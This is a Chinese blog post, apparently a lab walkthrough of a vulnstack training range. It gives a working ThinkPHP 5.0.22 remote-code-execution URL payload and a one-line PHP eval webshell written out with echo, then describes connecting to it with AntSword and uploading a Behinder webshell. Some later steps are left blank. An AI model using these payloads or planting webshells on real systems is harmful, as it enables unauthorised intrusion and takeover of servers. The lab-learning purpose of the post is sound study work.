avatar

vulnstack靶场学习记录-反弹shell1

靶机信息

  1. 双网卡win7 模拟内外网
    1. 内网 192.168.138.136
    2. 外网 172.16.10.128
    • 普通用户heart/2020
    • 域管理 Administrator/dc123.com
  2. win2008
    1. 192.168.138.138

其他信息

本机ip(vmnet8) 1. 172.16.10.1
本机与win7网卡b模拟外网环境;win2008和win7网卡a模拟内网环境

靶机准备

  • win7靶机以非域管理员身份打开 C:\phpstudy\phpstudy.exe

靶机端口扫描

  1. 172.16.10.128 80/3306端口

访问80端口

  1. thinkphp架构
  2. 访问错误页面,得到版本型号

thinkphp rce利用

  1. searchsploit thinkphp

  2. 找到对应版本 5.X, -m参数导出到本地
    searchsploit -m exploits/php/webapps/46150.txt

  3. 读取载荷信息
    cat 46150.txt

  4. 找到对应版本,用的第三个payload,修改最后的参数值

    1
    http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

    • 成功执行了系统命令–此时只是调用系统函数执行的系统命令,我们需要得到可交互式的shell

    • 采用的方式是先在web端写入webshell源码,用蚁剑连接之后,用蚁剑上传冰蝎的phpshell,冰蝎连接。

传马得shell

  1. 写入wehshell源码
    echo ^<?php eval($_POST['a']);?^> > 5.php (cmd 转义字符 ^)
    • 文件有了

  • 源码无误


2. 连蚁剑

3. 上传文件–冰蝎的webshell
4. 冰蝎连 http://172.16.10.128/shell.php
1.
2.

反弹msfshell

  1. 根据上面的提示
  2. 反弹msfshell

Author: Tabooair
Link: http://yoursite.com/2020/04/01/vulnstack%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95-%E5%8F%8D%E5%BC%B9shell1/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.